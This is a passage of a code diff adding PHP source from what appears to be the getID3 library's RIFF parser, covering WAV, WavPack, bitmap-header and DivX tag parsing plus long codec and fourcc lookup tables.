+									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['data'] = $this->fread($chunksize);
+								} elseif ($chunksize < 2048) {
+									// only read data in if smaller than 2kB
+									$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
+								} else {
+									$this->fseek($chunksize, SEEK_CUR);
+								}
+								break;
+						}
+						break;
+				}
+			}
+
+		} catch (getid3_exception $e) {
+			if ($e->getCode() == 10) {
+				$this->warning('RIFF parser: '.$e->getMessage());
+			} else {
+				throw $e;
+			}
+		}
+
+		return $RIFFchunk;
+	}
+
+	public function ParseRIFFdata(&$RIFFdata) {
+		$info = &$this->getid3->info;
+		if ($RIFFdata) {
+			$tempfile = tempnam(GETID3_TEMP_DIR, 'getID3');
+			$fp_temp  = fopen($tempfile, 'wb');
+			$RIFFdataLength = strlen($RIFFdata);
+			$NewLengthString = getid3_lib::LittleEndian2String($RIFFdataLength, 4);
+			for ($i = 0; $i < 4; $i++) {
+				$RIFFdata[($i + 4)] = $NewLengthString[$i];
+			}
+			fwrite($fp_temp, $RIFFdata);
+			fclose($fp_temp);
+
+			$getid3_temp = new getID3();
+			$getid3_temp->openfile($tempfile);
+			$getid3_temp->info['filesize']     = $RIFFdataLength;
+			$getid3_temp->info['filenamepath'] = $info['filenamepath'];
+			$getid3_temp->info['tags']         = $info['tags'];
+			$getid3_temp->info['warning']      = $info['warning'];
+			$getid3_temp->info['error']        = $info['error'];
+			$getid3_temp->info['comments']     = $info['comments'];
+			$getid3_temp->info['audio']        = (isset($info['audio']) ? $info['audio'] : array());
+			$getid3_temp->info['video']        = (isset($info['video']) ? $info['video'] : array());
+			$getid3_riff = new getid3_riff($getid3_temp);
+			$getid3_riff->Analyze();
+
+			$info['riff']     = $getid3_temp->info['riff'];
+			$info['warning']  = $getid3_temp->info['warning'];
+			$info['error']    = $getid3_temp->info['error'];
+			$info['tags']     = $getid3_temp->info['tags'];
+			$info['comments'] = $getid3_temp->info['comments'];
+			unset($getid3_riff, $getid3_temp);
+			unlink($tempfile);
+		}
+		return false;
+	}
+
+	public static function parseComments(&$RIFFinfoArray, &$CommentsTargetArray) {
+		$RIFFinfoKeyLookup = array(
+			'IARL'=>'archivallocation',
+			'IART'=>'artist',
+			'ICDS'=>'costumedesigner',
+			'ICMS'=>'commissionedby',
+			'ICMT'=>'comment',
+			'ICNT'=>'country',
+			'ICOP'=>'copyright',
+			'ICRD'=>'creationdate',
+			'IDIM'=>'dimensions',
+			'IDIT'=>'digitizationdate',
+			'IDPI'=>'resolution',
+			'IDST'=>'distributor',
+			'IEDT'=>'editor',
+			'IENG'=>'engineers',
+			'IFRM'=>'accountofparts',
+			'IGNR'=>'genre',
+			'IKEY'=>'keywords',
+			'ILGT'=>'lightness',
+			'ILNG'=>'language',
+			'IMED'=>'orignalmedium',
+			'IMUS'=>'composer',
+			'INAM'=>'title',
+			'IPDS'=>'productiondesigner',
+			'IPLT'=>'palette',
+			'IPRD'=>'product',
+			'IPRO'=>'producer',
+			'IPRT'=>'part',
+			'IRTD'=>'rating',
+			'ISBJ'=>'subject',
+			'ISFT'=>'software',
+			'ISGN'=>'secondarygenre',
+			'ISHP'=>'sharpness',
+			'ISRC'=>'sourcesupplier',
+			'ISRF'=>'digitizationsource',
+			'ISTD'=>'productionstudio',
+			'ISTR'=>'starring',
+			'ITCH'=>'encoded_by',
+			'IWEB'=>'url',
+			'IWRI'=>'writer',
+			'____'=>'comment',
+		);
+		foreach ($RIFFinfoKeyLookup as $key => $value) {
+			if (isset($RIFFinfoArray[$key])) {
+				foreach ($RIFFinfoArray[$key] as $commentid => $commentdata) {
+					if (trim($commentdata['data']) != '') {
+						if (isset($CommentsTargetArray[$value])) {
+							$CommentsTargetArray[$value][] =     trim($commentdata['data']);
+						} else {
+							$CommentsTargetArray[$value] = array(trim($commentdata['data']));
+						}
+					}
+				}
+			}
+		}
+		return true;
+	}
+
+	public static function parseWAVEFORMATex($WaveFormatExData) {
+		// shortcut
+		$WaveFormatEx['raw'] = array();
+		$WaveFormatEx_raw    = &$WaveFormatEx['raw'];
+
+		$WaveFormatEx_raw['wFormatTag']      = substr($WaveFormatExData,  0, 2);
+		$WaveFormatEx_raw['nChannels']       = substr($WaveFormatExData,  2, 2);
+		$WaveFormatEx_raw['nSamplesPerSec']  = substr($WaveFormatExData,  4, 4);
+		$WaveFormatEx_raw['nAvgBytesPerSec'] = substr($WaveFormatExData,  8, 4);
+		$WaveFormatEx_raw['nBlockAlign']     = substr($WaveFormatExData, 12, 2);
+		$WaveFormatEx_raw['wBitsPerSample']  = substr($WaveFormatExData, 14, 2);
+		if (strlen($WaveFormatExData) > 16) {
+			$WaveFormatEx_raw['cbSize']      = substr($WaveFormatExData, 16, 2);
+		}
+		$WaveFormatEx_raw = array_map('getid3_lib::LittleEndian2Int', $WaveFormatEx_raw);
+
+		$WaveFormatEx['codec']           = self::wFormatTagLookup($WaveFormatEx_raw['wFormatTag']);
+		$WaveFormatEx['channels']        = $WaveFormatEx_raw['nChannels'];
+		$WaveFormatEx['sample_rate']     = $WaveFormatEx_raw['nSamplesPerSec'];
+		$WaveFormatEx['bitrate']         = $WaveFormatEx_raw['nAvgBytesPerSec'] * 8;
+		$WaveFormatEx['bits_per_sample'] = $WaveFormatEx_raw['wBitsPerSample'];
+
+		return $WaveFormatEx;
+	}
+
+	public function parseWavPackHeader($WavPackChunkData) {
+		// typedef struct {
+		//     char ckID [4];
+		//     long ckSize;
+		//     short version;
+		//     short bits;                // added for version 2.00
+		//     short flags, shift;        // added for version 3.00
+		//     long total_samples, crc, crc2;
+		//     char extension [4], extra_bc, extras [3];
+		// } WavpackHeader;
+
+		// shortcut
+		$info = &$this->getid3->info;
+		$info['wavpack']  = array();
+		$thisfile_wavpack = &$info['wavpack'];
+
+		$thisfile_wavpack['version']           = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  0, 2));
+		if ($thisfile_wavpack['version'] >= 2) {
+			$thisfile_wavpack['bits']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  2, 2));
+		}
+		if ($thisfile_wavpack['version'] >= 3) {
+			$thisfile_wavpack['flags_raw']     = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  4, 2));
+			$thisfile_wavpack['shift']         = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  6, 2));
+			$thisfile_wavpack['total_samples'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  8, 4));
+			$thisfile_wavpack['crc1']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 12, 4));
+			$thisfile_wavpack['crc2']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 16, 4));
+			$thisfile_wavpack['extension']     =                              substr($WavPackChunkData, 20, 4);
+			$thisfile_wavpack['extra_bc']      = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 24, 1));
+			for ($i = 0; $i <= 2; $i++) {
+				$thisfile_wavpack['extras'][]  = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 25 + $i, 1));
+			}
+
+			// shortcut
+			$thisfile_wavpack['flags'] = array();
+			$thisfile_wavpack_flags = &$thisfile_wavpack['flags'];
+
+			$thisfile_wavpack_flags['mono']                 = (bool) ($thisfile_wavpack['flags_raw'] & 0x000001);
+			$thisfile_wavpack_flags['fast_mode']            = (bool) ($thisfile_wavpack['flags_raw'] & 0x000002);
+			$thisfile_wavpack_flags['raw_mode']             = (bool) ($thisfile_wavpack['flags_raw'] & 0x000004);
+			$thisfile_wavpack_flags['calc_noise']           = (bool) ($thisfile_wavpack['flags_raw'] & 0x000008);
+			$thisfile_wavpack_flags['high_quality']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000010);
+			$thisfile_wavpack_flags['3_byte_samples']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000020);
+			$thisfile_wavpack_flags['over_20_bits']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000040);
+			$thisfile_wavpack_flags['use_wvc']              = (bool) ($thisfile_wavpack['flags_raw'] & 0x000080);
+			$thisfile_wavpack_flags['noiseshaping']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000100);
+			$thisfile_wavpack_flags['very_fast_mode']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000200);
+			$thisfile_wavpack_flags['new_high_quality']     = (bool) ($thisfile_wavpack['flags_raw'] & 0x000400);
+			$thisfile_wavpack_flags['cancel_extreme']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000800);
+			$thisfile_wavpack_flags['cross_decorrelation']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x001000);
+			$thisfile_wavpack_flags['new_decorrelation']    = (bool) ($thisfile_wavpack['flags_raw'] & 0x002000);
+			$thisfile_wavpack_flags['joint_stereo']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x004000);
+			$thisfile_wavpack_flags['extra_decorrelation']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x008000);
+			$thisfile_wavpack_flags['override_noiseshape']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x010000);
+			$thisfile_wavpack_flags['override_jointstereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x020000);
+			$thisfile_wavpack_flags['copy_source_filetime'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x040000);
+			$thisfile_wavpack_flags['create_exe']           = (bool) ($thisfile_wavpack['flags_raw'] & 0x080000);
+		}
+
+		return true;
+	}
+
+	public static function ParseBITMAPINFOHEADER($BITMAPINFOHEADER, $littleEndian=true) {
+
+		$parsed['biSize']          = substr($BITMAPINFOHEADER,  0, 4); // number of bytes required by the BITMAPINFOHEADER structure
+		$parsed['biWidth']         = substr($BITMAPINFOHEADER,  4, 4); // width of the bitmap in pixels
+		$parsed['biHeight']        = substr($BITMAPINFOHEADER,  8, 4); // height of the bitmap in pixels. If biHeight is positive, the bitmap is a 'bottom-up' DIB and its origin is the lower left corner. If biHeight is negative, the bitmap is a 'top-down' DIB and its origin is the upper left corner
+		$parsed['biPlanes']        = substr($BITMAPINFOHEADER, 12, 2); // number of color planes on the target device. In most cases this value must be set to 1
+		$parsed['biBitCount']      = substr($BITMAPINFOHEADER, 14, 2); // Specifies the number of bits per pixels
+		$parsed['biSizeImage']     = substr($BITMAPINFOHEADER, 20, 4); // size of the bitmap data section of the image (the actual pixel data, excluding BITMAPINFOHEADER and RGBQUAD structures)
+		$parsed['biXPelsPerMeter'] = substr($BITMAPINFOHEADER, 24, 4); // horizontal resolution, in pixels per metre, of the target device
+		$parsed['biYPelsPerMeter'] = substr($BITMAPINFOHEADER, 28, 4); // vertical resolution, in pixels per metre, of the target device
+		$parsed['biClrUsed']       = substr($BITMAPINFOHEADER, 32, 4); // actual number of color indices in the color table used by the bitmap. If this value is zero, the bitmap uses the maximum number of colors corresponding to the value of the biBitCount member for the compression mode specified by biCompression
+		$parsed['biClrImportant']  = substr($BITMAPINFOHEADER, 36, 4); // number of color indices that are considered important for displaying the bitmap. If this value is zero, all colors are important
+		$parsed = array_map('getid3_lib::'.($littleEndian ? 'Little' : 'Big').'Endian2Int', $parsed);
+
+		$parsed['fourcc']          = substr($BITMAPINFOHEADER, 16, 4);  // compression identifier
+
+		return $parsed;
+	}
+
+	public static function ParseDIVXTAG($DIVXTAG, $raw=false) {
+		// structure from "IDivX" source, Form1.frm, by "Greg Frazier of Daemonic Software Group", email: gfrazier@icestorm.net, web: http://dsg.cjb.net/
+		// source available at http://files.divx-digest.com/download/c663efe7ef8ad2e90bf4af4d3ea6188a/on0SWN2r/edit/IDivX.zip
+		// 'Byte Layout:                   '1111111111111111
+		// '32 for Movie - 1               '1111111111111111
+		// '28 for Author - 6              '6666666666666666
+		// '4  for year - 2                '6666666666662222
+		// '3  for genre - 3               '7777777777777777
+		// '48 for Comments - 7            '7777777777777777
+		// '1  for Rating - 4              '7777777777777777
+		// '5  for Future Additions - 0    '333400000DIVXTAG
+		// '128 bytes total
+
+		static $DIVXTAGgenre  = array(
+			 0 => 'Action',
+			 1 => 'Action/Adventure',
+			 2 => 'Adventure',
+			 3 => 'Adult',
+			 4 => 'Anime',
+			 5 => 'Cartoon',
+			 6 => 'Claymation',
+			 7 => 'Comedy',
+			 8 => 'Commercial',
+			 9 => 'Documentary',
+			10 => 'Drama',
+			11 => 'Home Video',
+			12 => 'Horror',
+			13 => 'Infomercial',
+			14 => 'Interactive',
+			15 => 'Mystery',
+			16 => 'Music Video',
+			17 => 'Other',
+			18 => 'Religion',
+			19 => 'Sci Fi',
+			20 => 'Thriller',
+			21 => 'Western',
+		),
+		$DIVXTAGrating = array(
+			 0 => 'Unrated',
+			 1 => 'G',
+			 2 => 'PG',
+			 3 => 'PG-13',
+			 4 => 'R',
+			 5 => 'NC-17',
+		);
+
+		$parsed['title']     =        trim(substr($DIVXTAG,   0, 32));
+		$parsed['artist']    =        trim(substr($DIVXTAG,  32, 28));
+		$parsed['year']      = intval(trim(substr($DIVXTAG,  60,  4)));
+		$parsed['comment']   =        trim(substr($DIVXTAG,  64, 48));
+		$parsed['genre_id']  = intval(trim(substr($DIVXTAG, 112,  3)));
+		$parsed['rating_id'] =         ord(substr($DIVXTAG, 115,  1));
+		//$parsed['padding'] =             substr($DIVXTAG, 116,  5);  // 5-byte null
+		//$parsed['magic']   =             substr($DIVXTAG, 121,  7);  // "DIVXTAG"
+
+		$parsed['genre']  = (isset($DIVXTAGgenre[$parsed['genre_id']])   ? $DIVXTAGgenre[$parsed['genre_id']]   : $parsed['genre_id']);
+		$parsed['rating'] = (isset($DIVXTAGrating[$parsed['rating_id']]) ? $DIVXTAGrating[$parsed['rating_id']] : $parsed['rating_id']);
+
+		if (!$raw) {
+			unset($parsed['genre_id'], $parsed['rating_id']);
+			foreach ($parsed as $key => $value) {
+				if (!$value === '') {
+					unset($parsed['key']);
+				}
+			}
+		}
+
+		foreach ($parsed as $tag => $value) {
+			$parsed[$tag] = array($value);
+		}
+
+		return $parsed;
+	}
+
+	public static function waveSNDMtagLookup($tagshortname) {
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			©kwd	keywords
+			©BPM	bpm
+			©trt	tracktitle
+			©des	description
+			©gen	category
+			©fin	featuredinstrument
+			©LID	longid
+			©bex	bwdescription
+			©pub	publisher
+			©cdt	cdtitle
+			©alb	library
+			©com	composer
+
+		*/
+
+		return getid3_lib::EmbeddedLookup($tagshortname, $begin, __LINE__, __FILE__, 'riff-sndm');
+	}
+
+	public static function wFormatTagLookup($wFormatTag) {
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			0x0000	Microsoft Unknown Wave Format
+			0x0001	Pulse Code Modulation (PCM)
+			0x0002	Microsoft ADPCM
+			0x0003	IEEE Float
+			0x0004	Compaq Computer VSELP
+			0x0005	IBM CVSD
+			0x0006	Microsoft A-Law
+			0x0007	Microsoft mu-Law
+			0x0008	Microsoft DTS
+			0x0010	OKI ADPCM
+			0x0011	Intel DVI/IMA ADPCM
+			0x0012	Videologic MediaSpace ADPCM
+			0x0013	Sierra Semiconductor ADPCM
+			0x0014	Antex Electronics G.723 ADPCM
+			0x0015	DSP Solutions DigiSTD
+			0x0016	DSP Solutions DigiFIX
+			0x0017	Dialogic OKI ADPCM
+			0x0018	MediaVision ADPCM
+			0x0019	Hewlett-Packard CU
+			0x0020	Yamaha ADPCM
+			0x0021	Speech Compression Sonarc
+			0x0022	DSP Group TrueSpeech
+			0x0023	Echo Speech EchoSC1
+			0x0024	Audiofile AF36
+			0x0025	Audio Processing Technology APTX
+			0x0026	AudioFile AF10
+			0x0027	Prosody 1612
+			0x0028	LRC
+			0x0030	Dolby AC2
+			0x0031	Microsoft GSM 6.10
+			0x0032	MSNAudio
+			0x0033	Antex Electronics ADPCME
+			0x0034	Control Resources VQLPC
+			0x0035	DSP Solutions DigiREAL
+			0x0036	DSP Solutions DigiADPCM
+			0x0037	Control Resources CR10
+			0x0038	Natural MicroSystems VBXADPCM
+			0x0039	Crystal Semiconductor IMA ADPCM
+			0x003A	EchoSC3
+			0x003B	Rockwell ADPCM
+			0x003C	Rockwell Digit LK
+			0x003D	Xebec
+			0x0040	Antex Electronics G.721 ADPCM
+			0x0041	G.728 CELP
+			0x0042	MSG723
+			0x0050	MPEG Layer-2 or Layer-1
+			0x0052	RT24
+			0x0053	PAC
+			0x0055	MPEG Layer-3
+			0x0059	Lucent G.723
+			0x0060	Cirrus
+			0x0061	ESPCM
+			0x0062	Voxware
+			0x0063	Canopus Atrac
+			0x0064	G.726 ADPCM
+			0x0065	G.722 ADPCM
+			0x0066	DSAT
+			0x0067	DSAT Display
+			0x0069	Voxware Byte Aligned
+			0x0070	Voxware AC8
+			0x0071	Voxware AC10
+			0x0072	Voxware AC16
+			0x0073	Voxware AC20
+			0x0074	Voxware MetaVoice
+			0x0075	Voxware MetaSound
+			0x0076	Voxware RT29HW
+			0x0077	Voxware VR12
+			0x0078	Voxware VR18
+			0x0079	Voxware TQ40
+			0x0080	Softsound
+			0x0081	Voxware TQ60
+			0x0082	MSRT24
+			0x0083	G.729A
+			0x0084	MVI MV12
+			0x0085	DF G.726
+			0x0086	DF GSM610
+			0x0088	ISIAudio
+			0x0089	Onlive
+			0x0091	SBC24
+			0x0092	Dolby AC3 SPDIF
+			0x0093	MediaSonic G.723
+			0x0094	Aculab PLC    Prosody 8kbps
+			0x0097	ZyXEL ADPCM
+			0x0098	Philips LPCBB
+			0x0099	Packed
+			0x00FF	AAC
+			0x0100	Rhetorex ADPCM
+			0x0101	IBM mu-law
+			0x0102	IBM A-law
+			0x0103	IBM AVC Adaptive Differential Pulse Code Modulation (ADPCM)
+			0x0111	Vivo G.723
+			0x0112	Vivo Siren
+			0x0123	Digital G.723
+			0x0125	Sanyo LD ADPCM
+			0x0130	Sipro Lab Telecom ACELP NET
+			0x0131	Sipro Lab Telecom ACELP 4800
+			0x0132	Sipro Lab Telecom ACELP 8V3
+			0x0133	Sipro Lab Telecom G.729
+			0x0134	Sipro Lab Telecom G.729A
+			0x0135	Sipro Lab Telecom Kelvin
+			0x0140	Windows Media Video V8
+			0x0150	Qualcomm PureVoice
+			0x0151	Qualcomm HalfRate
+			0x0155	Ring Zero Systems TUB GSM
+			0x0160	Microsoft Audio 1
+			0x0161	Windows Media Audio V7 / V8 / V9
+			0x0162	Windows Media Audio Professional V9
+			0x0163	Windows Media Audio Lossless V9
+			0x0200	Creative Labs ADPCM
+			0x0202	Creative Labs Fastspeech8
+			0x0203	Creative Labs Fastspeech10
+			0x0210	UHER Informatic GmbH ADPCM
+			0x0220	Quarterdeck
+			0x0230	I-link Worldwide VC
+			0x0240	Aureal RAW Sport
+			0x0250	Interactive Products HSX
+			0x0251	Interactive Products RPELP
+			0x0260	Consistent Software CS2
+			0x0270	Sony SCX
+			0x0300	Fujitsu FM Towns Snd
+			0x0400	BTV Digital
+			0x0401	Intel Music Coder
+			0x0450	QDesign Music
+			0x0680	VME VMPCM
+			0x0681	AT&T Labs TPC
+			0x08AE	ClearJump LiteWave
+			0x1000	Olivetti GSM
+			0x1001	Olivetti ADPCM
+			0x1002	Olivetti CELP
+			0x1003	Olivetti SBC
+			0x1004	Olivetti OPR
+			0x1100	Lernout & Hauspie Codec (0x1100)
+			0x1101	Lernout & Hauspie CELP Codec (0x1101)
+			0x1102	Lernout & Hauspie SBC Codec (0x1102)
+			0x1103	Lernout & Hauspie SBC Codec (0x1103)
+			0x1104	Lernout & Hauspie SBC Codec (0x1104)
+			0x1400	Norris
+			0x1401	AT&T ISIAudio
+			0x1500	Soundspace Music Compression
+			0x181C	VoxWare RT24 Speech
+			0x1FC4	NCT Soft ALF2CD (www.nctsoft.com)
+			0x2000	Dolby AC3
+			0x2001	Dolby DTS
+			0x2002	WAVE_FORMAT_14_4
+			0x2003	WAVE_FORMAT_28_8
+			0x2004	WAVE_FORMAT_COOK
+			0x2005	WAVE_FORMAT_DNET
+			0x674F	Ogg Vorbis 1
+			0x6750	Ogg Vorbis 2
+			0x6751	Ogg Vorbis 3
+			0x676F	Ogg Vorbis 1+
+			0x6770	Ogg Vorbis 2+
+			0x6771	Ogg Vorbis 3+
+			0x7A21	GSM-AMR (CBR, no SID)
+			0x7A22	GSM-AMR (VBR, including SID)
+			0xFFFE	WAVE_FORMAT_EXTENSIBLE
+			0xFFFF	WAVE_FORMAT_DEVELOPMENT
+
+		*/
+
+		return getid3_lib::EmbeddedLookup('0x'.str_pad(strtoupper(dechex($wFormatTag)), 4, '0', STR_PAD_LEFT), $begin, __LINE__, __FILE__, 'riff-wFormatTag');
+	}
+
+	public static function fourccLookup($fourcc) {
+
+		$begin = __LINE__;
+
+		/** This is not a comment!
+
+			swot	http://developer.apple.com/qa/snd/snd07.html
+			____	No Codec (____)
+			_BIT	BI_BITFIELDS (Raw RGB)
+			_JPG	JPEG compressed
+			_PNG	PNG compressed W3C/ISO/IEC (RFC-2083)
+			_RAW	Full Frames (Uncompressed)
+			_RGB	Raw RGB Bitmap
+			_RL4	RLE 4bpp RGB
+			_RL8	RLE 8bpp RGB
+			3IV1	3ivx MPEG-4 v1
+			3IV2	3ivx MPEG-4 v2
+			3IVX	3ivx MPEG-4
+			AASC	Autodesk Animator
+			ABYR	Kensington ?ABYR?
+			AEMI	Array Microsystems VideoONE MPEG1-I Capture
+			AFLC	Autodesk Animator FLC
+			AFLI	Autodesk Animator FLI
+			AMPG	Array Microsystems VideoONE MPEG
+			ANIM	Intel RDX (ANIM)
+			AP41	AngelPotion Definitive
+			ASV1	Asus Video v1
+			ASV2	Asus Video v2
+			ASVX	Asus Video 2.0 (audio)
+			AUR2	AuraVision Aura 2 Codec - YUV 4:2:2
+			AURA	AuraVision Aura 1 Codec - YUV 4:1:1
+			AVDJ	Independent JPEG Group\'s codec (AVDJ)
+			AVRN	Independent JPEG Group\'s codec (AVRN)
+			AYUV	4:4:4 YUV (AYUV)
+			AZPR	Quicktime Apple Video (AZPR)
+			BGR 	Raw RGB32
+			BLZ0	Blizzard DivX MPEG-4
+			BTVC	Conexant Composite Video
+			BINK	RAD Game Tools Bink Video
+			BT20	Conexant Prosumer Video
+			BTCV	Conexant Composite Video Codec
+			BW10	Data Translation Broadway MPEG Capture
+			CC12	Intel YUV12
+			CDVC	Canopus DV
+			CFCC	Digital Processing Systems DPS Perception
+			CGDI	Microsoft Office 97 Camcorder Video
+			CHAM	Winnov Caviara Champagne
+			CJPG	Creative WebCam JPEG
+			CLJR	Cirrus Logic YUV 4:1:1
+			CMYK	Common Data Format in Printing (Colorgraph)
+			CPLA	Weitek 4:2:0 YUV Planar
+			CRAM	Microsoft Video 1 (CRAM)
+			cvid	Radius Cinepak
+			CVID	Radius Cinepak
+			CWLT	Microsoft Color WLT DIB
+			CYUV	Creative Labs YUV
+			CYUY	ATI YUV
+			D261	H.261
+			D263	H.263
+			DIB 	Device Independent Bitmap
+			DIV1	FFmpeg OpenDivX
+			DIV2	Microsoft MPEG-4 v1/v2
+			DIV3	DivX ;-) MPEG-4 v3.x Low-Motion
+			DIV4	DivX ;-) MPEG-4 v3.x Fast-Motion
+			DIV5	DivX MPEG-4 v5.x
+			DIV6	DivX ;-) (MS MPEG-4 v3.x)
+			DIVX	DivX MPEG-4 v4 (OpenDivX / Project Mayo)
+			divx	DivX MPEG-4
+			DMB1	Matrox Rainbow Runner hardware MJPEG
+			DMB2	Paradigm MJPEG
+			DSVD	?DSVD?
+			DUCK	Duck TrueMotion 1.0
+			DPS0	DPS/Leitch Reality Motion JPEG
+			DPSC	DPS/Leitch PAR Motion JPEG
+			DV25	Matrox DVCPRO codec
+			DV50	Matrox DVCPRO50 codec
+			DVC 	IEC 61834 and SMPTE 314M (DVC/DV Video)
+			DVCP	IEC 61834 and SMPTE 314M (DVC/DV Video)
+			DVHD	IEC Standard DV 1125 lines @ 30fps / 1250 lines @ 25fps
+			DVMA	Darim Vision DVMPEG (dummy for MPEG compressor) (www.darvision.com)
+			DVSL	IEC Standard DV compressed in SD (SDL)
+			DVAN	?DVAN?
+			DVE2	InSoft DVE-2 Videoconferencing
+			dvsd	IEC 61834 and SMPTE 314M DVC/DV Video
+			DVSD	IEC 61834 and SMPTE 314M DVC/DV Video
+			DVX1	Lucent DVX1000SP Video Decoder
+			DVX2	Lucent DVX2000S Video Decoder
+			DVX3	Lucent DVX3000S Video Decoder
+			DX50	DivX v5
+			DXT1	Microsoft DirectX Compressed Texture (DXT1)
+			DXT2	Microsoft DirectX Compressed Texture (DXT2)
+			DXT3	Microsoft DirectX Compressed Texture (DXT3)
+			DXT4	Microsoft DirectX Compressed Texture (DXT4)
+			DXT5	Microsoft DirectX Compressed Texture (DXT5)
+			DXTC	Microsoft DirectX Compressed Texture (DXTC)
+			DXTn	Microsoft DirectX Compressed Texture (DXTn)
+			EM2V	Etymonix MPEG-2 I-frame (www.etymonix.com)
+			EKQ0	Elsa ?EKQ0?
+			ELK0	Elsa ?ELK0?
+			ESCP	Eidos Escape
+			ETV1	eTreppid Video ETV1
+			ETV2	eTreppid Video ETV2
+			ETVC	eTreppid Video ETVC
+			FLIC	Autodesk FLI/FLC Animation
+			FLV1	Sorenson Spark
+			FLV4	On2 TrueMotion VP6
+			FRWT	Darim Vision Forward Motion JPEG (www.darvision.com)
+			FRWU	Darim Vision Forward Uncompressed (www.darvision.com)
+			FLJP	D-Vision Field Encoded Motion JPEG
+			FPS1	FRAPS v1
+			FRWA	SoftLab-Nsk Forward Motion JPEG w/ alpha channel
+			FRWD	SoftLab-Nsk Forward Motion JPEG
+			FVF1	Iterated Systems Fractal Video Frame
+			GLZW	Motion LZW (gabest@freemail.hu)
+			GPEG	Motion JPEG (gabest@freemail.hu)
+			GWLT	Microsoft Greyscale WLT DIB
+			H260	Intel ITU H.260 Videoconferencing
+			H261	Intel ITU H.261 Videoconferencing
+			H262	Intel ITU H.262 Videoconferencing
+			H263	Intel ITU H.263 Videoconferencing
+			H264	Intel ITU H.264 Videoconferencing
+			H265	Intel ITU H.265 Videoconferencing
+			H266	Intel ITU H.266 Videoconferencing
+			H267	Intel ITU H.267 Videoconferencing
+			H268	Intel ITU H.268 Videoconferencing
+			H269	Intel ITU H.269 Videoconferencing
+			HFYU	Huffman Lossless Codec
+			HMCR	Rendition Motion Compensation Format (HMCR)
+			HMRR	Rendition Motion Compensation Format (HMRR)
+			I263	FFmpeg I263 decoder
+			IF09	Indeo YVU9 ("YVU9 with additional delta-frame info after the U plane")
+			IUYV	Interlaced version of UYVY (www.leadtools.com)
+			IY41	Interlaced version of Y41P (www.leadtools.com)
+			IYU1	12 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec    IEEE standard
+			IYU2	24 bit format used in mode 2 of the IEEE 1394 Digital Camera 1.04 spec    IEEE standard
+			IYUV	Planar YUV format (8-bpp Y plane, followed by 8-bpp 2×2 U and V planes)
+			i263	Intel ITU H.263 Videoconferencing (i263)
+			I420	Intel Indeo 4
+			IAN 	Intel Indeo 4 (RDX)
+			ICLB	InSoft CellB Videoconferencing
+			IGOR	Power DVD
+			IJPG	Intergraph JPEG
+			ILVC	Intel Layered Video
+			ILVR	ITU-T H.263+
+			IPDV	I-O Data Device Giga AVI DV Codec
+			IR21	Intel Indeo 2.1
+			IRAW	Intel YUV Uncompressed
+			IV30	Intel Indeo 3.0
+			IV31	Intel Indeo 3.1
+			IV32	Ligos Indeo 3.2
+			IV33	Ligos Indeo 3.3
+			IV34	Ligos Indeo 3.4
+			IV35	Ligos Indeo 3.5
+			IV36	Ligos Indeo 3.6
+			IV37	Ligos Indeo 3.7
+			IV38	Ligos Indeo 3.8
+			IV39	Ligos Indeo 3.9
+			IV40	Ligos Indeo Interactive 4.0
+			IV41	Ligos Indeo Interactive 4.1
+			IV42	Ligos Indeo Interactive 4.2
+			IV43	Ligos Indeo Interactive 4.3
+			IV44	Ligos Indeo Interactive 4.4
+			IV45	Ligos Indeo Interactive 4.5
+			IV46	Ligos Indeo Interactive 4.6
+			IV47	Ligos Indeo Interactive 4.7
+			IV48	Ligos Indeo Interactive 4.8
+			IV49	Ligos Indeo Interactive 4.9
+			IV50	Ligos Indeo Interactive 5.0
+			JBYR	Kensington ?JBYR?
+			JPEG	Still Image JPEG DIB
+			JPGL	Pegasus Lossless Motion JPEG
+			KMVC	Team17 Software Karl Morton\'s Video Codec
+			LSVM	Vianet Lighting Strike Vmail (Streaming) (www.vianet.com)
+			LEAD	LEAD Video Codec
+			Ljpg	LEAD MJPEG Codec
+			MDVD	Alex MicroDVD Video (hacked MS MPEG-4) (www.tiasoft.de)
+			MJPA	Morgan Motion JPEG (MJPA) (www.morgan-multimedia.com)
+			MJPB	Morgan Motion JPEG (MJPB) (www.morgan-multimedia.com)
+			MMES	Matrox MPEG-2 I-frame
+			MP2v	Microsoft S-Mpeg 4 version 1 (MP2v)
+			MP42	Microsoft S-Mpeg 4 version 2 (MP42)
+			MP43	Microsoft S-Mpeg 4 version 3 (MP43)
+			MP4S	Microsoft S-Mpeg 4 version 3 (MP4S)
+			MP4V	FFmpeg MPEG-4
+			MPG1	FFmpeg MPEG 1/2
+			MPG2	FFmpeg MPEG 1/2
+			MPG3	FFmpeg DivX ;-) (MS MPEG-4 v3)
+			MPG4	Microsoft MPEG-4
+			MPGI	Sigma Designs MPEG
+			MPNG	PNG images decoder
+			MSS1	Microsoft Windows Screen Video
+			MSZH	LCL (Lossless Codec Library) (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm)
+			M261	Microsoft H.261
+			M263	Microsoft H.263
+			M4S2	Microsoft Fully Compliant MPEG-4 v2 simple profile (M4S2)
+			m4s2	Microsoft Fully Compliant MPEG-4 v2 simple profile (m4s2)
+			MC12	ATI Motion Compensation Format (MC12)
+			MCAM	ATI Motion Compensation Format (MCAM)
